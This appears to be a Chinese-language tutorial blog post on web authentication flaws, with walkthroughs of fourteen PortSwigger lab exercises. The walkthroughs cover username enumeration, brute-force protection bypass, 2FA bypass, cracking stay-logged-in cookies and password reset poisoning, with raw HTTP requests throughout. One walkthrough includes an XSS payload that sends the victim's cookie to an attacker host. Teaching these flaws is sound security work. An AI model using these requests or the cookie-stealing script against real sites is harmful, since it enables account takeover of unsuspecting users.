欢迎关注订阅专栏!
WEB安全系列包括如下三个专栏:!
- 《WEB安全基础-服务器端漏洞》
- 《WEB安全基础-客户端漏洞》
- 《WEB安全高级-综合利用》
知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!
欢迎关注订阅专栏!
专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,全面汇总相关知识,掌握一类漏洞。让读者能尽快掌握WEB安全知识框架,入门深造。
绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点,导致逻辑凌乱,让读者沉迷在无尽的技巧中而迷失进阶的道路!
欢迎关注订阅专栏!
WEB安全基础入门—身份验证漏洞
-
- 一、身份验证基础知识
- 二、漏洞利用
- 三、漏洞实例
-
- 1. 通过不同响应进行的用户名枚举 ([Username enumeration via different responses](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses))
- 2. 通过细微不同的响应进行用户名枚举 ([Username enumeration via subtly different responses](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses))
- 3. 通过响应计时进行用户名枚举 ([Username enumeration via response timing](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing))
- 4. 破解暴力保护,IP阻止([Broken brute-force protection, IP block](https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block))
- 5. 通过帐户锁定进行用户名枚举([Username enumeration via account lock](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-account-lock))
- 6. 破解暴力保护,每次请求多个凭据([Broken brute-force protection, multiple credentials per request](https://portswigger.net/web-security/authentication/password-based/lab-broken-brute-force-protection-multiple-credentials-per-request))
- 7. 2FA简单绕过( [2FA simple bypass](https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass))
- 8. 2FA断开逻辑([2FA broken logic](https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic))
- 9. 使用暴力攻击的2FA旁路( [2FA bypass using a brute-force attack](https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack))
- 10. 暴力-强制使用持续登录的Cookie( [Brute-forcing a stay-logged-in cookie](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie))
- 11. 脱机密码破解([Offline password cracking](https://portswigger.net/web-security/authentication/other-mechanisms/lab-offline-password-cracking))
- 12. 密码重置损坏的逻辑([Password reset broken logic](https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic))
- 13. 通过中间件进行密码重置中毒([Password reset poisoning via middleware](https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-poisoning-via-middleware))
- 14. 密码暴力-通过更改密码强制执行([Password brute-force via password change](https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-brute-force-via-password-change))
一、身份验证基础知识
1. 身份验证基础定义
身份验证是验证请求用户或客户端的身份的过程。确保访问者真的是他自己声称的那个人。身份验证包含三要素,分别是:
- 自己知道:比如密码或者预设问题的答案,所谓的“知识因素”
- 自己拥有:你手机收到的验证码等,所谓的“占有因素”
- 自身具备: 比如指纹、虹膜等,所谓的“内在因素”
身份验证就是用技术手段验证以上一个或多个因素来完成的。
2. 身份验证与授权的区别
身份验证 | 授权 |
---|---|
验证访问者真是他自己声称的那个人。 | 一个用户被允许能做某事 |
用户A登录应用,验证他是否真是A | 登录后,他权限是什么,能做什么操作 |
3. 身份验证漏洞产生的原因
概括来讲,身份验证漏洞产生的原因可以被归纳为两大类
- 无法充分防御暴力攻击。
- 逻辑或代码实现时的缺陷,导致攻击者能绕过验证。有时被称为“身份验证中断”。
二、漏洞利用
1. 基于密码的登陆漏洞
1. 暴力攻击
暴力攻击一般使用相关软件(如Burp)逐一遍历搭配用户名和密码的字典进行自动化访问爆破的过程,根据响应结果来找出正确的用户名和密码。
字典,并不是单纯的随机搭配生成的。更多的是根据目标用户的相关信息(如生日、身份证号、姓名、手机号、车牌号、爱人生日、一千个最常用密码等)组合而来的,如设置的密码也遵循这个原则,则暴力破解的成功率会非常高。
用户名暴力破解
用户名相对来说比较容易猜测,
- 如单位邮箱,姓名@单位.com
- 高权限账户名 administrator 、 admin、IT support等
- 浏览应用,一般非注册用户也能看到别人的用户名。
- 抓包查看,有时数据包中会含有邮箱、账户名等信息
用户名枚举
很多应用对已在使用的用户名会有特殊显示,如找到这种区别,则可以大量识别出哪些用户名已经存在,则爆破就局限在密码上,简单很多。
- 响应码不同
- 错误提示。如输入的用户名已存在,页面会提示,“用户名已存在”等各种形式的提示
- 响应时间不同。用户名是否占用,需要系统在数据库中查询,这个需要时间,暴力破解软件往往会记录所有响应的时间,删选出异常时间即可。
密码暴力破解
一般密码设置都有最基本的要求
- 密码最少位数要求(8位或12位)
- 密码要求含有大小写字母
- 至少包含1个特殊字符(如!@#¥%&*等)
但是一般用户选用密码都有其规律
- 生日数字、姓名简拼、身份证号、车牌号、爱人姓名生日等
- 键盘上简单联系的字符串,如1qazwsxedc! qwertyuiop@,看下键盘就明白了
- 简单的单词+随机字符,如Password123!\hello345*
只要百度搜下密码本或最常用的1000个密码,会有一大堆字典能使用。
另外网上也有免费的根据你提供信息自动生成的密码本(在线社工密码生成)
例题 1,2,3
2. 暴力破解防护缺陷
大多数情况下,网站登陆页面是有暴力破解防护措施的,主要有如下两点:
- 锁定被访问的账户,如果短时间内该账户登陆失败的次数太多
- 锁定远程访问IP,如果短时间内该IP发起大量连续的登陆请求
以上两种限制措施结合起来使用,的确能抵御大量爆破攻击。但是仍不完善,如下场景就可轻易破解该防御。
攻击者先尝试测试出登陆失败的限制次数,正常注册一个账户。在暴力破解字典中周期性(≤失败限制次数)插入正常账户的账号密码。这样爆破时,在低速发送登陆请求时,周期性的登陆正常账户,也能成功绕过爆破防护的。
例题4
另,第一种方式是利用限制本身来判断账户是否存在,比如多次爆破后,发现账户提示被锁定,则可认定该账户存在
例题5 例题6
2. 基于多因素认证的漏洞
多因素身份验证的好处只有通过验证多个不同的因素才能实现。用两种不同的方式验证同一因素并不是真正的双因素身份验证。
绕过双因素验证
如果验证时是先输入账户密码,跳转到另一个页面进项验证码验证。则可以尝试账户密码验证成功跳转后是否已经是登陆状态,若是这样,不再进行验证码验证。
例题7
双因素验证逻辑缺陷
同上有些网站设计成分两阶段分别验证密码和验证码,验证的数据包如下,请留意验证密码后设置的cookie
第一次账号密码发送和验证
POST /login-steps/first HTTP/1.1
Host: vulnerable-website.com
...
username=carlos&password=qwerty
HTTP/1.1 200 OK
Set-Cookie: account=carlos
第二次发送cookie,验证返回验证码
GET /login-steps/second HTTP/1.1
Cookie: account=carlos
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=victim-user
...
verification-code=123456
逻辑是给你的验证码,完全依赖设置的cookie。若攻击者知道目标用户密码后,可尝试在完成密码验证后,更改cookie,提交申请验证码
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=victim-user
...
verification-code=123456
例题8、9
3. 其他身份验证功能机制的漏洞
1.登录状态保持功能
功能点往往是Remember me
Keep me logged in
保持登陆状态
的打勾选项框。实现的方法是,使用特殊的cookie,在一段时间内保存在服务器和浏览器端,有这个cookie,可以绕过整个登陆环节。这个cookie应该为不可预测且加盐加密的。但实际情况往往有例外:
- cookie可预测(未加盐,仅为用户名+时间戳、用户名+密码等)
- 简单的“加密”方式(例如base64或类似可破解方式)
- 没有加盐,使用彩虹表破解加密的cookie,伪造cookie尝试登陆
攻击者可以事先申请账号,研究整个流程和cookie
例10 、11
2. 重置密码功能
- 通过邮件发送新密码
- 重置密码连接,连接中参数高度加密,无法预测篡改
http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8
系统收到此链接后,首先验证,参数是否存在后端服务器,通过后,销毁此条后端记录,并提供密码修改页面
试想以上两点,尤其是第二点有众多要求,有一点网站没有做到,我们就可尝试进行攻击。
例题12、13、14
三、漏洞实例
1. 通过不同响应进行的用户名枚举 (Username enumeration via different responses)
-
目标
利用靶场提供的字典,枚举出有效用户名,并暴力破解其密码登陆
-
解题思路
- 登陆页面随意输入用户名和密码,发现提示
Invalid username
,由此提示,可以尝试用户名枚举
- 登陆页面随意输入用户名和密码,发现提示
抓取登陆页面数据包
POST /login HTTP/1.1
Host: ac941f181f8a1ac2c0f39a88000e00b2.web-security-academy.net
Cookie: session=3siZ3fN7N4ztmocux0iYVAMxxtYvdOKw
username=albuquerque&password=456
发到Burp爆破模块
将靶场提供的字典粘贴进去,在响应包中设置抓取Invalid username
完成上述设置,开始攻击,结果显示只有一个用户名没有这个字段,证明该用户名已使用。albuquerque
- 下一步用户名填入,爆破密码
粘贴密码本
开始包括,筛选长度异常的响应包,因为响应长度不同,证明页面不同,表面登陆进去了。密码robert
登陆成功
2. 通过细微不同的响应进行用户名枚举 (Username enumeration via subtly different responses)
-
目标
利用靶场提供的字典,枚举出有效用户名,并暴力破解其密码登陆
-
解题思路
与上一题雷同,只说不同点
- 在用户名枚举时发现,提示略有不同。
无效的用户名为Invalid username or password.
有效的用户名为Invalid username or password
仅仅差一个.
做安全要细心呢
- 密码爆破时,发现长度不宜判断,但是响应码不同,登陆成功的响应码为
302
其余为200
3. 通过响应计时进行用户名枚举 (Username enumeration via response timing)
-
目标
利用靶场提供的字典,枚举出有效用户名,并暴力破解其账户登陆。测试账号wiener:peter
-
解题思路
- 本题在破解时,会拦截高频访问。可在爆破时随机变化
X-Forwarded-For
头的内容绕过 - 枚举用户名,上述各种办法均没有差异。考虑增加密码长度,发现错误用户名响应时间没有变化,但是已注册用户名响应时间明显变长。
其余相同,不再赘述
- 本题在破解时,会拦截高频访问。可在爆破时随机变化
4. 破解暴力保护,IP阻止(Broken brute-force protection, IP block)
-
目标
利用靶场提供的字典,暴力破解其密码登陆。测试账号wiener:peter,目标用户carlos
-
解题思路
- 经测试发现超过三次同一账户登陆失败,ip会被锁定1min,此种情况无法使用最原始的暴力破解,但可以改变字典如下所示
用户字典
wiener
carlos
carlos
wiener
carlos
carlos
wiener
carlos
carlos
wiener
carlos
carlos
wiener
.... 两次carlos后一次wiener
密码字典
eter
123456
password
peter
12345678
qwerty
peter
123456789
12345
peter
1234
111111
peter
.....
- burp 爆破选用模式pitchfork,上两个字典。最大同时请求数为1。得出结果如下
最终找到正确密钥
5. 通过帐户锁定进行用户名枚举(Username enumeration via account lock)
-
目标
利用靶场自动锁定登陆失败次数过多账户的防护逻辑,枚举出有效用户名,并暴力破解其账户登陆。
-
解题思路
- 核心逻辑一点对同一账户名反复爆破,致使期锁定,则证明该账户为有效用户
6. 破解暴力保护,每次请求多个凭据(Broken brute-force protection, multiple credentials per request)
-
目标
利用靶场防护逻辑缺陷,暴力破解carlos账户密码登陆。
-
解题思路
- 发现此题账号密码使用json形式发送
POST /login HTTP/1.1
Host: ac341fa61f430c29c0ec4978002f004a.web-security-academy.net
Cookie: session=3osKtL6vB19bIwK6pa1T5KzIyO31UQBv
Connection: close
{"username":"carlos","password":"123","":""}
- 尝试json的格式一次发送所有密码,让程序默认测试每个账户
....
{"username":"carlos","password":["123","password","qwerty",...]}
7. 2FA简单绕过( 2FA simple bypass)
-
目标
登陆时双因素验证(2FA),登陆账户carlos
测试账户:wiener:peter
目标账户:carlos:montoya -
解题思路
此题非常简单,再输入账号密码好,跳转至验证码输入界面。此时若回到主页(可直接修改URL),再查看状态,其实已经是登录状态。双因素验证被简单绕过。
8. 2FA断开逻辑(2FA broken logic)
-
目标
登陆时双因素验证(2FA),登陆账户carlos
测试账户:wiener:peter
目标账户:carlos -
解题思路
此题逻辑细节需注意
- 首先登陆测试账户密码,通过后,在
GET
时更换cookie为carlos 目的是让carlos在服务器端产生可使用的验证码
GET /login2 HTTP/1.1
Host: ac3e1fc41e2e0e17c006305e004e007c.web-security-academy.net
Cookie: session=U4pqw5gXBvsGu3RZeBMHa0wG0rFlDM5V; verify=carlos
- 任意提交验证码,将此
POST
数据包放到Burp爆破模块,爆破。根据之前测试了解,验证码为四位数字。
POST /login2 HTTP/1.1
Host: ac3e1fc41e2e0e17c006305e004e007c.web-security-academy.net
Cookie: session=dTL5aKh6zd29oiotG2heavcLardrFv6l; verify=carlos
mfa-code=§1234§
9. 使用暴力攻击的2FA旁路( 2FA bypass using a brute-force attack)
-
目标
登陆时双因素验证(2FA),登陆账户carlos
目标账户:carlos:montoya
对验证码有爆破防护,一旦有错,需重新登录用户名和密码 -
解题思路
暂略
10. 暴力-强制使用持续登录的Cookie( Brute-forcing a stay-logged-in cookie)
-
目标
网站提供登陆状态保持功能,破解账户carlos的cookie,登陆其账户
测试账号:wiener:peter
目标账户:carlos -
解题思路
- 登陆测试账户,勾选保持登陆状态,获取到session
HTTP/1.1 302 Found
Location: /my-account
Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=flB85ih0RP2hJArjjUHFj4qCU4cLijXm; Secure; HttpOnly; SameSite=None
Connection: close
Content-Length: 0
stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
- 首选进行base64解码
wiener:51dc30ddc473d43a6011e9ebba6ca770
- 用md5解码成功
wiener:peter
所以cookie生成方式为
stay-logged-in=base64(用户名:MD5(密码))
- 使用burp爆破模块,破解cookie密码登陆
GET /my-account HTTP/1.1
Host: aca21f781f688dd7c00759680081002a.web-security-academy.net
Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://aca21f781f688dd7c00759680081002a.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
11. 脱机密码破解(Offline password cracking)
-
目标
本靶场cookie为hash密码生成,本网站存在XSS。登陆目标用户carlos的账户,删除其账户页。
测试账户:wiener:peter -
解题思路
- 登陆测试账户,抓取数据包,发现cookie仍同上题一样的加密方式。但是无法使用爆破方式。那如何获取carlos账户的cookie呢。
- 根据题目提示,使用Xss,在留言区发现有XSS漏洞,攻击代码如下
<script>
document.location="//你的攻击机URL/"+document.cooke;
</script>
- 查看攻击机的日志记录,发现cookie被成功带出
"GET /secret=W7MFKCT2S04dxoPstmCEMKNpJSA5wP1p;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1"
- 找到任意一个登陆数据包,替换cookie即可
12. 密码重置损坏的逻辑(Password reset broken logic)
-
目标
重置目标账户carlos的密码,并登录其用户页
测试账户:wiener:peter -
解题思路
用测试账号测试密码重置功能点,发现他的最后一步根本就没验证token与username的对应关系。造成,最后一个重置连接可以重置任何制定账户的密码
POST /forgot-password?temp-forgot-password-token=IyadaAg43KDTwLAKThdvyklSyHButnmV HTTP/1.1
temp-forgot-password-token=IyadaAg43KDTwLAKThdvyklSyHButnmV&username=carlos&new-password-1=123&new-password-2=123
13. 通过中间件进行密码重置中毒(Password reset poisoning via middleware)
-
目标
使用密码重置毒化,登陆目标账户carlos
测试账户:wiener:peter -
解题思路
- 登陆测试账户测试整个重置密码流程,发现
X-Forwarded-Host
,可以影响产生的重置密码连接,导致连接指向任意地址。
- 登陆测试账户测试整个重置密码流程,发现
POST /forgot-password HTTP/1.1
Host: ac031f4e1fa76d12c004df51002a00d6.web-security-academy.net
X-Forwarded-Host: exploit-acd31f551fee6d3ac0cadffc012c0082.web-security-academy.net
username=carlos
攻击机或者访问日志,带出token
"GET /forgot-password?temp-forgot-password-token=KKZlLNQnume54YfOpiSm6HbCmQIVDn5s HTTP/1.1"
更新最后一步数据包,即可重置carlos密码
POST /forgot-password?temp-forgot-password-token=KKZlLNQnume54YfOpiSm6HbCmQIVDn5s HTTP/1.1
temp-forgot-password-token=KKZlLNQnume54YfOpiSm6HbCmQIVDn5s&new-password-1=123&new-password-2=123
14. 密码暴力-通过更改密码强制执行(Password brute-force via password change)
-
目标
暴力破解carlos的密码,并登录其用户页
测试账户:wiener:peter -
解题思路
- 此题更改密码时,需输入原密码,并同时输入2次新密码,通过后方能更改密码。逻辑上更安全。
- 发现提示漏洞,
- 当原密码有误,同时新密码2次相同时
提示:Current password is incorrect.
原账户同时被锁定。- 当原密码有误,但新密码2次也不相同时
提示:New passwords do not match.
原账户不会锁定。- 构造暴力破解攻击,原密码加载字典,新秘密设定2次不同,flag为没有标准提示的访问。